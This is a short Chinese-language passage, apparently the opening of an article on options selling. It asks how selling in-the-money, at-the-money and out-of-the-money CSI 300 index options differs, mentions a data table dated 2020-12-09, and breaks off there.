一直在思考一个问题&#xff0c;卖期权到底是怎么回事&#xff1f;卖实值期权、平值期权、虚值期权背后的本质有什么区别&#xff1f;卖近期的和远期的期权背后的本质又是什么?我们用沪深300指数期权来研究一下。 我们先从数据上来直观感受一下。上面这个表格是2020-12-09日这…